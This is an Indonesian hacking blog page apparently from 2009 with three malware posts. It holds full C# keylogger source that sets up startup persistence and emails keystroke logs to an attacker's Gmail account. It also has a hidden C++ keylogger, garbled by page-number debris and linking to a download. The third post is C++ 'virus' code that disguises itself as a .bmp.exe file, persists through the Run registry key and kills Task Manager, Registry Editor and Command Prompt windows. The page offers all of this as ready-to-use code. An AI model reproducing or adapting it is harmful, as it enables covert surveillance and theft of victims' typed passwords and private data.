Showing posts with label malware. Show all posts
Showing posts with label malware. Show all posts

Simple Key Logger in C#

Ok bro langsung aja gak usah basa-basi

using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;


namespace Keylogger
{
class appstart
{
public static string path = "C:/file.txt";
public static byte caps = 0, shift = 0, failed = 0;
public static void startup()
{
//Regedit --> Startup objects
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

if (rkApp.GetValue("Keylogger") == null)
{
rkApp.SetValue("Keylogger",Application.ExecutablePath.ToString());
}

rkApp.Close();//dispose of the key
}
public static void OnTimedEvent(object source, EventArgs e)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
msg.To.Add("username@gmail.com");
msg.To.Add("another.optional.address.to.send.to@domain.com");
msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);
msg.Subject = "whatever.you.want.to.be.in.the.message.subject";
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = "whatever.you.want.to.be.in.the.message.body";
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = false;
msg.Priority = MailPriority.High;
SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmailpassword");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(appstart.path);
msg.Attachments.Add(data);
try
{
client.Send(msg);
failed = 0;
}
catch
{
data.Dispose();
failed = 1;
}
data.Dispose();

if (failed == 0)
File.WriteAllText(appstart.path, ""); //empties the file

failed = 0;
} //end of the OnTimedEvent method
}//end of the appstart class
class InterceptKeys
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
appstart.startup();
System.Timers.Timer timer;
timer = new System.Timers.Timer();
timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
timer.AutoReset = true;
timer.Interval = 600000;
timer.Start();
Application.Run();
GC.KeepAlive(timer);
UnhookWindowsHookEx(_hookID);
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
StreamWriter sw = File.AppendText(appstart.path);
int vkCode = Marshal.ReadInt32(lParam);
if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;

switch ((Keys)vkCode)
{
case Keys.Space:
sw.Write(" ");
break;
case Keys.Return:
sw.WriteLine("");
break;
case Keys.Back:
sw.Write("back");
break;
case Keys.Tab:
sw.Write("TAB");
break;
case Keys.D0:
if (appstart.shift == 0) sw.Write("0");
else sw.Write(")");
break;
case Keys.D1:
if (appstart.shift == 0) sw.Write("1");
else sw.Write("!");
break;
case Keys.D2:
if (appstart.shift == 0) sw.Write("2");
else sw.Write("@");
break;
case Keys.D3:
if (appstart.shift == 0) sw.Write("3");
else sw.Write("#");
break;
case Keys.D4:
if (appstart.shift == 0) sw.Write("4");
else sw.Write("$");
break;
case Keys.D5:
if (appstart.shift == 0) sw.Write("5");
else sw.Write("%");
break;
case Keys.D6:
if (appstart.shift == 0) sw.Write("6");
else sw.Write("^");
break;
case Keys.D7:
if (appstart.shift == 0) sw.Write("7");
else sw.Write("&");
break;
case Keys.D8:
if (appstart.shift == 0) sw.Write("8");
else sw.Write("*");
break;
case Keys.D9:
if (appstart.shift == 0) sw.Write("9");
else sw.Write("(");
break;
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
case Keys.Apps:
sw.Write("");
break;
case Keys.OemQuestion:
if (appstart.shift == 0) sw.Write("/");
else sw.Write("?");
break;
case Keys.OemOpenBrackets:
if (appstart.shift == 0) sw.Write("[");
else sw.Write("{");
break;
case Keys.OemCloseBrackets:
if (appstart.shift == 0) sw.Write("]");
else sw.Write("}");
break;
case Keys.Oem1:
if (appstart.shift == 0) sw.Write(";");
else sw.Write(":");
break;
case Keys.Oem7:
if (appstart.shift == 0) sw.Write("'");
else sw.Write('"');
break;
case Keys.Oemcomma:
if (appstart.shift == 0) sw.Write(",");
else sw.Write("<");
break;
case Keys.OemPeriod:
if (appstart.shift == 0) sw.Write(".");
else sw.Write(">");
break;
case Keys.OemMinus:
if (appstart.shift == 0) sw.Write("-");
else sw.Write("_");
break;
case Keys.Oemplus:
if (appstart.shift == 0) sw.Write("=");
else sw.Write("+");
break;
case Keys.Oemtilde:
if (appstart.shift == 0) sw.Write("`");
else sw.Write("~");
break;
case Keys.Oem5:
sw.Write("|");
break;
case Keys.Capital:
if (appstart.caps == 0) appstart.caps = 1;
else appstart.caps = 0;
break;
default:
if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
break;
} //end of switch
appstart.shift = 0;
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
} //end of HookCallback method
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

}
}

huf...huf...huff... pusing gak bro.. sama ane juga pusing...huft...
Read More...

simple keyloger c++

Apa itu keyloger..???
Keylogger adalah program spy.. ia akan mencatat
segala aktivitas yang kita lakukan di suatu komputer
dan menyimpan semua informasi kedalam log file.
Bekerja dengan mendeteksi signal keyboard yang kita
tekan. Awal mulanya program ini ditujukan bagi orang
tua agar bisa mengontrol aktifitas anak2 mereka di
komputer. Namun, oleh sebagian orang yang tidak
bertanggung jawab, program ini digunakan untuk
memata2i dan mencuri informasi2 yang mungkin
penting untuk mereka. Cukup dengan pengantarnya…
dalam percobaan kecil ini saya akan menerapkan base
hidden keyloger dengan bahasa c++…

#include



#include
#include
#include
#include





int main()
{
string log;
FreeConsole();

while(true)
{
if(GetAsyncKeyState(0x41))
{
cout<<"a";
log+="a";
Sleep (200);
};

if(GetAsyncKeyState(0x42))
{
cout<<"b";
log+="b";
Sleep (200);
};

if(GetAsyncKeyState(0x43))
{
cout<<"c";
log+="c";
Sleep (200);
};

if(GetAsyncKeyState(0x44))
{



Page 5 of 16







cout<<"d";
log+="d";

};

Sleep (200);


if(GetAsyncKeyState(0x45))
{
cout<<"e";
log+="e";
Sleep (200);
};

if(GetAsyncKeyState(0x46))
{
cout<<"f";
log+="f";
Sleep (200);
};

if(GetAsyncKeyState(0x47))
{
cout<<"g";
log+="g";
Sleep (200);
};

if(GetAsyncKeyState(0x48))
{
cout<<"h";
log+="h";
Sleep (200);
};

if(GetAsyncKeyState(0x49))
{
cout<<"i";
log+="i";
Sleep (200);



Page 6 of 16







};






if(GetAsyncKeyState(0x4A))
{
cout<<"j";
log+="j";
Sleep (200);
};

if(GetAsyncKeyState(0x4B))
{
cout<<"k";
log+="k";
Sleep (200);
};

if(GetAsyncKeyState(0x4C))
{
cout<<"l";
log+="l";
Sleep (200);
};

if(GetAsyncKeyState(0x4D))
{
cout<<"m";
log+="m";
Sleep (200);
};

if(GetAsyncKeyState(0x4E))
{
cout<<"n";
log+="n";
Sleep (200);
};





Page 7 of 16





if(GetAsyncKeyState(0x4F))
{
cout<<"o";
log+="o";
Sleep (200);
};

if(GetAsyncKeyState(0x50))
{
cout<<"p";
log+="p";
Sleep (200);
};

if(GetAsyncKeyState(0x51))
{
cout<<"q";
log+="q";
Sleep (200);
};

if(GetAsyncKeyState(0x52))
{
cout<<"r";
log+="r";
Sleep (200);
};

if(GetAsyncKeyState(0x53))
{
cout<<"s";
log+="s";
Sleep (200);
};

if(GetAsyncKeyState(0x54))
{
cout<<"t";



Page 8 of 16






log+="t";



};

Sleep (200);


if(GetAsyncKeyState(0x55))
{
cout<<"u";
log+="u";
Sleep (200);
};

if(GetAsyncKeyState(0x56))
{
cout<<"v";
log+="v";
Sleep (200);
};

if(GetAsyncKeyState(0x57))
{
cout<<"w";
log+="w";
Sleep (200);
};

if(GetAsyncKeyState(0x58))
{
cout<<"x";
log+="x";
Sleep (200);
};

if(GetAsyncKeyState(0x59))
{
cout<<"y";
log+="y";
Sleep (200);
};



Page 9 of 16





























};
}






if(GetAsyncKeyState(0x5A))
{
cout<<"z";
log+="z";
Sleep (200);
};




ofstream myfile;
myfile.open ("log.txt");
myfile << log;
myfile.close();

tutorial lengkapnya udah saya upload di
http://rapidshare.com/files/164909968/keygencpp.rar
Read More...

code virus c++ 1

#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY hKey;
char sd[255];
char path[MAX_PATH];
int Freq = 0;
int Duration = 100;
bool Forwards = true;
bool Backwards = false;
int timer = 0;
HWND hWin;
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);



GetSystemDirectory(sd,255);

strcat(sd,"\\Blue Corral.bmp.exe");
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);

while(1==1)
{

hWin = FindWindow(NULL,"Windows Task Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Registry Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Command Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

hWin = FindWindow(NULL,"Close Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

if(Backwards==true)
{
Beep(Freq,Duration);
Freq = Freq - 100;
timer = timer - 1;
}
if (timer == 0)
{
Backwards = false;
Forwards = true;
}

if (timer == 30)
{
Backwards = true;
Forwards = false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Freq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}


Read More...




IP

Followers

 

Copyright © 2009 by ::EXPLORE::